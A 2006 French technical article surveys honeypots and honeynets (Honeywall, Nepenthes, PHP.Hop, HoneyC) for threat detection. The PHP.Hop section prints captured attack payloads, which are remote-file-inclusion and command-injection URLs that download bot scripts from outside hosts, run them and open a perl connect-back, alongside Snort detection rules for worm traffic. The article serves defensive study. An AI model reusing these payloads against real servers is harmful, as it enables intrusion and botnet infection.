|
Les HoneyPots
par François ROPERT
1- Introduction
1.1 -
Définition d'un honeypot
1.2 -
Définition d'un honeynet
2 - Le rôle d'un honeypot
2.1 - Recherche
2.2 - Production
3 - Les menaces
3.1 - Vers
3.2 - Botnets
4 - Classification des honeypots
4.1 -
Faible-interaction
4.2 -
Haute-interaction
4.3 -
Honeypot client
5 - Les honeypots en vogue
5.1 - ROO
Honeywall
5.2 - Nepenthes
5.3 - PhP.Hop
5.4 - HoneyC
6 - Conclusion
7 - Discussion autour de la
documentation
8 - Suivi du document
Personne ne sait vraiment où ils sont,
éparpillés sur Internet. Ils traquent les menaces informatisées passées,
actuelles et futurs. Menaces d'ordre personnel, national, continental, mondial,
extra-terrestre. Tel est le destin du honeypot, sauver le monde. Le honeypot se
cache de moins en moins. Eeye, une entreprise très branché sécurité, a compris
le filon. Depuis quelques semaines, ils proposent le téléchargement gratuit en
version d'évaluation de leur produit Blink 2.0, dans le but de construire le
plus grand honeynet du monde. Les personnes téléchargent le logiciel et les
codes malicieux seront automatiquement remontés à Eeye pour analyse. Vous
aiderez donc à contrer les menaces provenant des réseaux informatiques. Il est
temps d'arrêter la chasse (projet SETI) aux extra-terrestres (plutôt has been
!), faire une bonne action et paraître hype devant vos proches en leur
expliquant que préservez la planète des menaces informatiques auxquelles elle
est, et sera exposée.
Un honeypot (pot de miel) est une entité
logicielle ou matérielle imitant le fonctionnement d'un programme informatique
qu'il soit implémenté de manière logiciel ou reproduit le fonctionnement d'une
machine physique.
C'est un réseau de honeypots. Plusieurs
types de honeypots peuvent être regroupés au sein d'un honeynet. La taille d'un
honeynet n'est pas limitée. On peut très bien imaginer un honeynet déployé sur
quelques mètres comme par exemple, un honeypot bluetooth (projet BluePot de
trifinite, pas encore disponible publiquement) imitant des téléphones J2ME
vulnérables ou bien un honeynet à l'échelle mondiale, entre plusieurs
universités ou plusieurs chercheurs dans le monde corrélant les informations
reçues par leurs honeypots respectifs déployés localement. Ou alors, soyons
visionnaire et parano, pourquoi pas un honeynet full-mesh de centrales
nucléaires chinoises pour le prochain demi-siècle.
Un honeypot ou honeynet est un élément
indispensable dans la détection et l'analyse des nouvelles menaces rôdant sur
les réseaux informatisés. La veille INFOSEC est réalisée et suivie
automatiquement grâce à l'analyse des données reçues par les différents
honeynets installés dans le monde. Les principaux intéressés par cette
technologie sont les éditeurs d'antivirus, les CERT, les R&D (exploits 0-DAY
pour des tests comportementales de solutions NIPS/HIPS), les éditeurs de
solutions IDS/IPS (Cisco, Checkpoint, SourceFire, ISS, Enterasys, Symantec,
Mcafee, ...). Les chercheurs professionnels ou bénévoles déploient généralement
des honeynets chez leurs employeurs ou à leur domicile. On les trouve très
souvent en milieu universitaires (chercheurs/orateurs en sécurité), dans des
entreprises IT où la dominante sécurité est forte, accentuée par la présence de
« security geeks », ou dans les entreprises/écoles (message subliminal)
souhaitant s'offrir une opération de marketing viral.
Ces derniers temps, dans les discussions
du projet honeynet, il y a souvent le mot-clé « centralisation de logs ».
Effectivement, comme on peut le voir dans les dernières versions de nepenthes,
la possibilité d'envoyer des payloads capturés par ce logiciel est mise en
évidence face à l'intérêt suscité par le monde de l'INFOSEC, en particulier les
éditeurs d'antivirus.
Nepenthes a la capacité d'envoyer
automatiquement des malwares potentiels à analyse sur la sandbox norman (sandbox.norman.no).
Les menaces sont à présent
reconnaissables, je cite, les vers (worms, ayant pour cible une multitude de
machines) et implicitement, vient les botnets et le phishing. Les botnets sont
dans la majorité des cas, la résultante d'infection de vers et manipulé par une
personne malintentionnée, qu'ils soient rémunérés ou non par une quelconque
entreprise.
Pour qu'une propagation de ver soit réussie, le ver doit utiliser une faille
encore non-dévoilée (0day). Les solutions de sécurité étant encore inefficaces
face aux menaces inconnues, à l'heure actuelle, un ver a largement le temps de
se déployer sur des milliers de machines avant que les différents honeynets (qui
sont beaucoup moins en nombre que de machines réelles) s'activent et détectent
le ver. Pendant ce laps de temps, le monde de l'Internet peut donc espérer que
le « problème » soit remonté le plus rapidement possible aux oreilles des
éditeurs d'antivirus/détection d'intrusion pour déployer une mise à jour de leur
base de signatures.
On se souvient d'exemples très connus tels le
ver blaster, touchant la planète
en 2003.
Le ver s'est propagé en utilisant une vulnérabilité du paradigme RPC au sein des
différents systèmes Microsoft (MS03-026), sasser, welchia, slammer ou plus
récemment le ver Mocbot/Wargbot qui utilise la faille MS06-040.
Les nouveaux botnets sont développés pour communiquer via HTTPS (remplaçant les
protocoles de chat IRC/WASTE). Les conséquences de ce remplacement viennent
simplement du fait que les possesseurs de honeypots voyaient passer en clair les
accès au chan IRC pour manipuler le botnet. Si vous cherchez un peu, vous
pourrez trouver des botnets sur différents serveurs IRC, notamment EFNET. Un des
botnets que j'ai pu trouver s'était installé sur le channel #hkcd. Typiquement
vous voyez pleins de pseudonymes identiques, seul un numéro identifiant la
machine infectée est changé. Et vous pouvez entrer une commande si vous en avez
les droits, dans le cas contraire, en l'occurrence, les bots de #hkcd, renvoient
un message de type « fcuk off ». Les botnets sont utilisés pour plusieurs
activités : les attaques DDoS, le spam, phishing, sniffer, keylogging, cliquer à
l'insu de l'utilisateur sur des bannières de pub (via les BHO) ou s'ajouter des
hits sur Google adsense.
Prenons les attaques DDoS, celles-ci peuvent être mitigées de nos jours via des
technologies évolués tels que Cisco guard XT/Traffic Anomaly Detector XT/Arbor
Networks Peakflow/ISS Proventia/Riverhead/Prolexic/Citrix Netscaler.
Par contre, les attaques de type phishing sont communes depuis quelques années
et pour au moins plusieurs années futures, une prévention via les différents
médias était nécessaire. Pour avoir des machines, les botnets « phishers »
passent toujours par une faille de sécurité, utilisation de mass-scanner et d'autorooter
pour infecter la machine. Pendant l'infection, le programme vérifie que la
machine dispose d'un serveur web pour y déposer des scripts PHP mais s'assure
aussi qu'on daemon d'envoi de mail est disponible.
Pendant un certain temps, vous avez du recevoir des mails provenant d'africains
qui souhaitaient faire des transferts de fonds sur votre compte en vous faisant
profiter d'une somme contenant plusieurs zéros. Ce type de message est un
message de type phishing.
Globalement, nous pouvons affirmer que les honeynets sont très bon dans la
détection de menaces lancés automatiquement par des personnes malintentionnées.
A contrario, si la personne attaquant la machine n'est pas un bot mais une
personne réelle et bien vivante, elle s'apercevra très rapidement de la
supercherie.
Plusieurs familles de honeypots existent
: les honeypots à faible interaction, haute interaction, serveurs honeypots et
clients honeypots.
Un honeypot à faible interaction ne
simule qu'une partie applicative sur une machine physique ou virtuelle, par
exemple une pile TCP/IP (honeyd), des services réseaux (BackOfficer Friendly,
Specter).
Un honeypot à haute interaction simule un système d'exploitation complet ainsi
que les applicatifs souhaitant être soumis aux pirates de passage. C'est
d'ailleurs très souvent une machine physique ou virtuelle qui est utilisée.
Celle-ci peut être encore segmentée en plusieurs espaces avec les jails sous
FreeBSD, Xen sous NetBSD ou UML sous Linux. EN produit commercial, mantrap se
base sur un système d'exploitation hôte (Sun Solaris) et crée 4 cages
virtuelles.
Il faut prendre conscience qu'un
honeypot à haute-interaction peut être compromis entièrement et finalement
l'administrateur des honeypots n'aurait plus vraiment de solutions que de
réinstaller la machine. Un honeypot à faible-interaction ne se fera pas rooter
par un service réseau émulé (en excluant la possibilité que la machine hôte
possède une faille inconnue de l'administrateur du honeypot). Ce type de
honeypots est un bon compromis pour ne pas prendre trop de risques mais tout de
même capturer un début d'activités de vers/botnets automatisées déjà connus.
Plus le honeypot à faible interaction sera évolué et pourra répondre aux
exigences du botnet/hacker, plus le nombre de données utiles capturées sera
grand.
Pour capturer des activités non connus, un honeypot à forte interaction devient
indispensable.
Le système est exactement le même qu'un
système en production sauf qu'il ne l'est pas.
IL est possible de simuler des données
d'entreprise sur le honeypot pour noyer l'attaque humaine ou alors, si l'attaque
est automatisée, installez les packages pouvant être utiles comme wget ou des
services troués comme des versions wu-ftpd compatible avec le wu autorooter. Par
contre, il serait fou de mettre en exploitation une honeypot à forte-interaction
sans avoir pris énormément de précaution et à avoir penser tout les scénarios
possibles afin de connaître le résultat de chaque action via l'écriture de
fiches d'exploitation en cas de compromission « non prévue », logs fonctionnels
et décentralisés, de cacher le plus d'activités au pirate (modules noyau
difficilement détectables) et donc d'éviter de réinstaller la machine tous les 2
jours. L'installation d'IDS/Firewall est quasiment indispensable afin d'éviter
ces désagréments. La détection d'activité anormale sur le honeypot peut être
prématurément signalée par un IDS qui vous avertira par SMS ou dans les logs, la
présence de paquets suspicieux et, si la session ouverte devient vraiment
douteuse, rien ne vous empêche de fermer les flux sur le firewall. TCP gérant
les états, vous pouvez aussi laisser croire temporairement que la session est
toujours ouverte mais refuser les connexions suivantes. La gestion du stateful
est disponible sur quasiment toutes les solutions de pare-feux. En Cisco, le
mot-clé à utiliser dans vos access-lists est ESTABLISHED.
Récemment, Christian Seifert (Honeynet
New-Zealand) a publié un outil en ruby très intéressant. HoneyC de son nom,
permet non pas d'attendre passivement les requêtes des botnets mais HoneyC via
le moteur de recherche Yahoo ! envoi des requêtes http afin de détecter des URLs
hébergeant des malwares (notion de client honeypot). On note l'initiative
stopbadware.org dont Google fait parti qui a recensé, à l'écriture de cet
article, 405 Urls dangereuses. Si vous ouvrez une de ces URLs après une requête
de recherche sur Google, alors vous serez redirigé vers un message
d'avertissement indiquant que l'URL contient un malware.
J'ai émis à Christian les idées
suivantes : centralisation des URLs entre les différentes instances de HoneyC
(mise en commun mondial) mais aussi ajouter les URLs à la configuration du proxy
SQUID voir le pare-feu NETFILTER/IPTABLES.
Il faut savoir que des clients honeypots existent depuis 2004, mais ceux-ci sont
beaucoup moins performants que celui de Christian du fait qu'ils utilisent un
vrai navigateur web (Internet Explorer) pour lancer les requêtes HTTP. Je cite,
HoneyMonkey (Microsoft) et Honeyclient.
Ci-après, la présentation de plusieurs
honeypots. ROO Honeywall est un honeypot à forte-interaction de 3ième
génération. Nepenthes collecte les malwares en se basant sur des hashs
MD5.Php.Hop est un honeypot à faible-interaction simulant des failles web
applicatives. HoneyC est un client honeypot écrit en ruby.
Honeywall
est un honeypot de 3ième génération.
Un honeynet GenIII est composé de machines physiques spécialement déployés avec
des failles de sécurité ou non selon la difficulté d'intrusion souhaitée par le
responsable du honeynet.
Une machine basée sur la distribution
HoneyWall fait office de pont niveau 2 entre le honeynet et le reste du réseau
de production. Honeywall est une surcouche logicielle à une distribution Fedora
Core 3 pré-sécurisée.
Honeywall collecte les données, analyse
et enregistre les communications réseaux jugées anormales. Pour ce faire,
Honeywall contient les éléments suivants :
- Librairie de capture de trames réseaux
(libpcap)
- Un logiciel de détection/prévention d'intrusions réseaux (Snort Inline)
- Un outil de capture et analyse des flux applicatifs (Sebek)
- Un outil d'analyse de netflow (Argus)
- Un outil de détection de prise d'empreinte passif (p0f)
- Un outil de fusion des données (Hflow)
Capture des données provenant du réseau
:
Plusieurs logiciels sont utilisés pour
réaliser la capture des données.
Argus et p0f interviennent pour la capture de paquets réseaux.
Sebek intervient pour faire le lien entre une communication réseau et un
processus applicatif.
Les honeynets GenII se basaient sur le pare-feu IPTables pour récupérer des
informations sur les flux réseaux. Hélas, la solution est devenue vite limitée
par un manque d'informations collectées sur les communications réseaux.
Pour pallier à ce problème, les GenIII implémentent l'outil Argus qui se révèle
plus puissant dans le rapatriement d'informations sur les échanges de données
par le réseau.
Argus permet de connaître l'heure de début et de fin d'une connexion, le nombre
d'octets et le nombre de paquets transmis dans chaque direction (cas d'une
connexion TCP bidirectionnelle).
Snort Inline permet de faire la détection/prévention d'intrusions.
A la base, c'est un correctif conçu pour Snort. Initialement appelé Hogwash,
l'arborescence du code à été fusionnée avec le projet Snort.
Plusieurs méthodes de détection d'intrusions peuvent être mises en place.
La détection de signatures, la détection d'anomalie ou la vérification
d'intégrité.
La spécificité de Snort Inline est d'exploiter les fonctionnalités de décodage
et réassemblage des paquets, tels que les préprocesseurs de flux, afin de
réaliser de la prévention.
Pour que Snort Inline fasse de la prévention, une règle IPtables doit être
appelée et correspondre. Seul pré-requis de Snort Inline (Honeywall n'a pas
cette contrainte), les paquets analysés doivent traverser le pare-feu IPtables
qui correspond au pont honeywall dans une architecture GenIII.
P0f est utilisé pour découvrir le système d'exploitation de la machine du pirate
et celle attaquée.
P0f analyse les options de TCP pour garantir avec plus ou moins de fiabilité le
système d'exploitation utilisé.
Par exemple, des paquets lançant un exploit apache Linux sur une machine
Microsoft IIS n'auront pas la même valeur que si l'exploit est lancé vers un
apache sous Linux.
Sebek permet d'associer un flux réseau à une application.
Il enregistre le nom et l'adresse IP de machine hôte, le nom du processus, le
numéro d'inode et le descripteur de fichier.
Par exemple, dans le cas d'une activité de keylogging, nous pouvons savoir
qu'elle application a été keyloggé.
Pour que Sebek soit opérationnel, chaque honeypot doit avoir installé le client
Sebek.
On note que le client Sebek est un module noyau et qu'il est caché lors d'un
lsmod.
La fusion des données capturées
Les données récupérées par les outils de
collection sont injectés dans le script Perl Hflow.
Hflow enregistre chacune des données rapatriées dans une base de données.
Voici le schéma modélisant les opérations depuis la capture des trames jusqu'au
stockage dans la base de données :
Certaines données provenant de sources
différentes sont corrélés lors de l'exécution de Hflow.
Les sources de données Snort et Argus sont fusionnés si les données utilisent le
même numéro de protocole de niveau 3 (IP, EGP, ...) et si les sockets (Adresse
IP source/destination, Port source/destination) correspondent pendant le même
intervalle de temps.
Quant à Sebek, Hflow organise les
données qu'il reçoit en fonction des numéros des processus attaqués.
Le client Sebek envoie ses données au serveur Sebek au moyen d'un canal UDP.
Utilisation de ROO Honeywall
Il est nécessaire d'avoir 2 cartes
réseaux dans la machine. Une troisième carte réseau, optionnelle sert
d'interface de management via SSH / HTTPS.
Concernant l'espace disque utilisé voici le découpage automatique effectué sur
un disque dur de 4go :
/dev/hda1 342M 99M 226M 31% /
none 141M 0 141M 0% /dev/shm
/dev/hda5 342M 11M 315M 4% /home
/dev/hda8 46M 4.9M 39M 12% /hw
/dev/hda7 244M 6.1M 225M 3% /tmp
/dev/hda2 981M 417M 514M 45% /usr
/dev/hda6 342M 11M 314M 4% /usr/local
/dev/hda9 1.3G 100M 1.1G 9% /var
Honeywall se configure via une interface
dialog appelé par la commande "menu" ou par l'interface web WALLEYE.
Interface Dialog :
Interface Walleye :
Voici un exemple de statistiques
disponibles via Walleye :
Il faut savoir que quasiment tous les
champs de texte sont cliquables et amènent vers d'autres statistiques.
En plus des informations concernant la sonde (Date d'installation, nom de la
sonde, date de la dernière activité), un résumé de toutes les activités sont
disponibles et classés par hôte ou par numéro de ports.
Nepenthes est un honeypot à
faible-interaction. Il sait capturer les malwares sur plateformes Microsoft en
simulant une machine Windows.
Nepenthes détecte une attaque réseau, l'enregistre, en fait un hash permettant
de l'identifier par la suite et selon votre choix, envoyer le malware ou non à
la sandbox norman.
Nepenthes peut être vue comme une alternative à SNORT puisque Nepenthes peut
très bien détecter des flux inhabituels malicieux comparés à un SNORT paramétré
en mode de détection d'anomalies.
Après avoir compilé Nepenthes, démarrez le binaire /opt/nepenthes/bin/nepenthes
Celui-ci simule plusieurs services, les services SMB, SMTP, HTTPS, IMAP2, IMAP3,
SSMTP, IMAPS, POP3S, FTP, HTTPS, KERBEROS, MS-SQL, DNS, WEBMIN, ...
Enregistrement d'une chaîne de
caractères dans une requête FTP :
labo-cisco:/opt/nepenthes/var/hexdumps#
hexdump -c *.bin -n 100
0000000 U S E R f r a n c o i s . r o
0000010 p e r t \r \n A U T H K E R B E
0000020 R O S _ V 4 \r \n P A S S h o n
0000030 e y n e t - p r o j e c t \r \n S
0000040 Y S T \r \n A U T H G S S A P I
0000050 \r \n Q U I T \r \n
0000058
Enregistrement d'un bot se connectant à
IRC :
[ Network services ]
* Looks for an Internet connection.
* Connects to xxx.example.net on port 6543 (TCP).
* Sends data stream (24 bytes) to remote address xxx.example.net, port 6543.
* Connects to IRC Server.
* IRC: Uses nickname xxx.
* IRC: Uses username xxx.
* IRC: Joins channel #xxx with password xxx.
* IRC: Sets the usermode for user xxx to ...
On note que certains services
enregistrent chaque ligne entrée dans un hexdump différent alors que d'autres
services attendent la fin de la connexion ou un timeout TCP pour enregistrer l'hexdump.
Au lieu d'utiliser les commandes UNIX,
des snippets sont disponibles sur le site de Nepenthes.
Mwcollect-dump (script PERL remplaçant hexdump)
Mkpcre (Génère une expression régulière PCRE en fonction d'un payload)
Mkarray (Génère un tableau en C en fonction d'un payload -similaire à l'option
de wireshark pour ceux qui voient ce dont je parle et permet de créer un fihcier
.c contenant un shellcode)
Bdiffm (Comparaison de fichiers binaires et retourne un tableau statistiques de
similitudes en pourcentage)
Nepenthes sait analyser des payloads
contenant des shellcodes (reverse shellcodes) afin de rendre plus interactif le
dialogue entre nepenthes et le bot/hacker. Au programme, shellcodes de type
connectback, binshell, cmdshell, urldownload, filetransfer.
A noter que les options de téléchargement sont actives et les fichiers distants
du malware seront récupérés si le malware en fait la demande (simulation des
protocoles FTP et TFTP).
Si l'une de vos machines nepenthes détecte un payload intéressant (dans le
répertoire hexdumps), il est possible de le diffuser sur les autres machines
nepenthes via la commande UNIX rsync.
Le projet malware collect (initiateurs du projet Nepenthes) commence à obtenir
pas mal de nouveaux shellcodes dans leurs payloads. C'est pour cela qu'ils
viennent de créer la convention CSNI (Common Shellcode Naming Initiative) qui
nomme les shellcodes selon leur utilité. Des noms de villes de l'ouest allemand
sont actuellement empruntés.
Les hexdumps peuvent être soumis à
analyse dans la sandbox norman ou stockés sur un point de montage, dans une base
de données postgresql ou un serveur GOTEK (Malware Distribution Protocol)
Les fichiers de configuration situés
dans /opt/nepenthes/etc sont les suivants :
download-csend.conf submit-file.conf
vuln-mydoom.conf
download-curl.conf submit-gotek.conf vuln-netbiosname.conf
download-ftp.conf submit-norman.conf vuln-netdde.conf
download-link.conf vuln-asn1.conf vuln-optix.conf
download-tftp.conf vuln-bagle.conf vuln-pnp.conf
log-download.conf vuln-dameware.conf vuln-sasserftpd.conf
log-irc.conf vuln-dcom.conf vuln-ssh.conf
log-prelude.conf vuln-ftpd.conf vuln-sub7.conf
log-surfnet.conf vuln-iis.conf vuln-upnp.conf
module-honeytrap.conf vuln-kuang2.conf vuln-veritas.conf
module-portwatch.conf vuln-lsass.conf vuln-wins.conf
nepenthes.conf vuln-msdtc.conf x-2.conf
nepenthes.conf.dist vuln-msmq.conf
shellcode-generic.conf vuln-mssql.conf
Chaque module peut être activé dans le
fichier nepenthes.conf. Ensuite, il faut paramétrer chacun des fichiers de
configuration utilisés. Pratique, si vous avez un DynDNS pour les transferts de
fichiers (download handlers), si vous souhaiter modifier les numéros de ports
pour le vulnerabilities handler ou modifier les chemins pour les submit handlers
(submit-file, submit-gotek, submit-norman).
Le site web du projet nepenthes est
disponible ici.
PHP.Hop (web-deception based framework)
est un honeypot à faible-interaction capturant des flux web malicieux.
Il est déployable sur tout serveur web ayant le module PHP activé.
Plusieurs modules existent. Ils imitent des webapps possédant des failles déjà
divulgués par la communauté ou des modules de capture développés spécialement
pour le projet et capturer un certain type de trafic web:
- Horde
- PhpMyAdmin
- Google hacks
- Déjoue les scanners de vulnérabilités comme nikto
- Phpshell
- Autobuild fake apache dir
- HipHop (manipulations de code erreurs 404)
Les données recueillies par PHP.Hop sont
enregistrables sous forme de fichiers texte, dans une base de données MySQL ou
par e-mail.
Outre les modules simulant des services
applicatifs non sécurisés, le module HipHop pouvant reporter les logs les plus
intéressants.
Le module HipHop
Ce module a une double utilité : Gestion des erreurs 404. L'utilité est de
capturer de nouveaux payloads lancés automatiquement par des worms ou programmes
autohack 0day. La seconde utilité est de perturber les scanners de
vulnérabilités comme nikto ou nessus en leur renvoyant de fausses informations.
Pour déployer ce module, il suffit de créer un fichier .htaccess et de rediriger
les codes 404 sur le fichier hiphop.php
Voici un exemple de payload généré à
partir de commandes UNIX qui sera capturé par le module HipHop :
wget -O /tmp/test1.log
http : // 192.168.0.11 /hop/doesntexist.php? configdir=cd%20/tmp;wget%20192.168.1.69/cbac;chmod%20744%20cbac
wget -O /tmp/test2.log
http: // 192.168.0.11 /hop/doesntexist.php?configdir=%7cecho%20%3becho%20b_exp%
3bwget%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%2etxt%3bmv%20ping%2etxt%20temp
2006%3bperl%20temp2006%20210%2e245%2e233%2e251%208080%3bwget%20http%3a%2f%2f192%2e168
%2e26%2e26%2flibsh%2fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251%
208080%3bcurl%20%2do%20ping%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%3bchmod%20
%2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251%208080%3bcd%20%2ftmp%2f%3bcurl%20%2
do%20temp2006%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%2etxt%3bwhile%20%5b%201
%20%5d%3bdo%20perl%20temp2006%20210%2e245%2e233%2e251%208080%3bdone%3bwget%20http%3a
%2f%2f192%2e168%2e26%2e26%2flibsh%2fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e24
5%2e233%2e251%208080%3bcurl%20%2do%20ping%20http%3a%2f%2f192%2e168%2e26%2e26%2flibsh%2
fping%3bchmod%20%2bx%20ping%3b%2e%2fping%20210%2e245%2e233%2e251%208080%3becho%20e_ex
p%3b%2500
wget -O /tmp/test3.log
http: // 192.168.0.11 /hop/doesntexist.php? include=http: // www.members.example.uk/ kaero/fbi.gif?&
cmd=cd%20/tmp;curl%20-O%20www.members.example.uk /kaero/botperl;perl%20botperl
wget -O /tmp/test4.log
"http: // 192.168.0.11 /hop /doesntexist.php?_REQUEST[option]=com_content&_REQUEST[Itemid]
=1&GLOBALS=&mosConfig_absolute_path= http: // 192.168.26.111 /cmd.gif?&cmd=cd%20/tmp;wget%20192.168.40.113/
listen;chmod%20744%20listen;./listen;echo%20YYY ;echo|
Ce honeypot est actuellement en cours de
développement par Laurent Oudot et moi-même.
Une architecture centralisée est prévu ainsi qu'une console d'aperçu des logs
entre autres.
Vous pourrez trouver la dernière version
publique en téléchargement ici.
Le but de HoneyC est d'identifier des
serveurs webs proposant, généralement à l'insu des visiteurs, un code malicieux
de type malware. On emploie ici le terme malware pour globaliser toutes les
formes de codes pouvant être distribué. Contrairement à ces prédecesseurs,
HoneyMonkey et HoneyClient qui sont des honeypots à forte-interaction, HoneyC
est à faible interaction. Si on prend HoneyMonkey en exemple, celui-ci demande
l'installation d'une machine basée sur Windows XP et un navigateur type Internet
Explorer.
HoneyC est composé de scripts en RUBY et
lecture de la configuration via des fichiers XML. Il est beaucoup plus rapide
que les honeypots à forte interaction cités plus haut.
Un serveur web sera jugé dangereux s'il
correspond aux règles du logiciel SNORT pré-intégrés à l'archive de HoneyC.
Christian Seifert, l'auteur de HoneyC a publié son travail sur le site suivant :
http://honeyc.sourceforge.net/
Comment ça fonctionne :
Les trois composants du programme sont
le visitor, le queuer et l'analysis engine.
Le queuer stocke des URLs à vérifier (paramétrables dans un fichier XML relatant
une commande de recherche sur le moteur Yahoo !)
Le visitor télécharge les pages du queuer via l'outil UNIX wget et simule un
navigateur Internet Explorer (via la variable UserAgent).
L'analysis engine compare les messages de réponses avec les signatures SNORT
bleeding-malware.rules et des règles personnalisées.
Les futurs malwares trouvés à l'aide de Honeyc auront le SID supérieur ou égal à
3400000.
Fichier de configuration principal - HoneyCConfigurationExample.xml :
<honeyCConfiguration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="HoneyCConfiguration_v1_0.xsd">
<queuer>ruby -s queuer/YahooSearch.rb -c=queuer/YahooSearchConfigurationExample.xml</queuer>
<visitor>ruby -s visitor/WebBrowser.rb -c=visitor/WebBrowserConfigurationExample.xml</visitor>
<analysisEngine>ruby -s analysisEngine/SnortRulesAnalysisEngine.rb -c=analysisEngine/SnortRulesAnalysisEngineConfigurationExample.xml</analysisEngine>
</honeyCConfiguration>
Exemples de règles SNORT détectées par HoneyC :
alert tcp $HOME_NET any -> $EXTERNAL_NET
$HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOT Blahot Worm Infection Reporting in";
flow: to_server,established; uricontent:
/scr2/command.php?IP="; nocase;
uricontent:"Port1="; nocase; classtype: trojan-ctivity; reference:url,www.vitalsecurity.org/2005/01/malware-spam.html;
referene:url,www.blahot.com; sid: 2001667; rev:7; )
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOT
Blahot Worm Infection Reporting in (to blahot.com)"; flow: to_server,establised;
uricontent:"/scr2/command.php?IP="; nocase; uricontent:"Port1="; nocase;
cotent:"Host\: www.blahot.com"; nocase; classtype: trojan-activity; reference:url
www.vitalsecurity.org/2005/01/malware-spam.html; reference:url,www.blahot.com;
id: 2001671; rev:7; )
alert tcp any any <> any any (msg: "example
rule: long number found"; reference url,http: // rule1.com; sid:1000001; rev:1;
classtype:trojan-activity; pcre:"/[0-][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/";
)
Attention, tout de même, une règle telle
que celle-ci pourrait être déclarée par HoneyC comme un faux-positif :
#Submitted by Cody Hatch alert tcp any
any -> $HOME_NET $HTTP_PORTS (msg: "BLEEDING-EDGE EXPLOIT Cisco IS HTTP server
DoS"; flow: to_server,established; uricontent:"/TEST?/"; classtyp: attempted-dos;
sid: 2000013; rev:6; )
Poussons dans le vice, nous avons parlé
précédemment de PHP.Hop, si PHP.Hop simule ces signatures SNORT, un jour,
pourquoi pas ;), HoneyC pourrait alors détecter un faux-positif sur des serveurs
PHP.Hop.
Il y a quelques semaines, une personne
(à fortiori, ayant peu de connaissances sur les botnets) proposait au projet
honeynet de réaliser une virtual appliance (image vmware) des outils en rapport
aux honeynets mais attention, si on prend l'exemple du botnet agobot, ce dernier
est capable de détecter que la machine est virtuelle (vmware/virtualpc) donc, au
final, la machine ne sera pas infectée. Les virtual appliances sont très bien
pour s'initier aux honeypots mais peu modulables pour une utilisation sérieuse
et appliquée. Deux projets proposant des images virtuelles sont connus pour
l'instant : honeystick et
HoneyDVD (Image de 8Go).
Pour les aspects juridiques, j'ai choisi
de ne pas créer de rubrique dédiée à la législation française. Néanmoins, je
vous invite à lire
le slide de Marie BAREL.
Ce slide traite les honeypots serveurs,
tous niveaux d'interaction confondus avec le hacker. Par contre, à l'époque,
seuls les serveurs honeypots étaient connus. Après avoir lu cet article
technique et le slide de Marie, je vous laisse réflexion sur l'utilisation des
clients honeypots.
Le projet
Honeynet dont je fais parti a pour but
d'analyser les nouvelles méthodes utilisées par des personnes souhaitant
outrepasser un système d'information qui se repose entièrement ou en partie sur
un logiciel ou matériel pouvant présenter des failles de sécurité connues ou
encore inconnus ou bien, prendre part à la vie privée des utilisateurs de
réseaux d'entreprise ou d'Internet pour en tirer un profit personnel.
Cet article fait un état de l'art sur le sujet des honeypots.
Ce document peut subir des
modifications, la dernière version se trouve sur le site web
authsecu.com
Vous pouvez poser toutes vos questions,
vos remarques et vos expériences à propos des honeypots. Pour cela,
rendez-vous sur le Forum
Sécurité.
Version 1.1, le 19 novembre 2006, par
Sébastien FONTAINE, mise en forme et relecture
Version 1.0, le 18 novembre 2006, par
François ROPERT, création du document.
|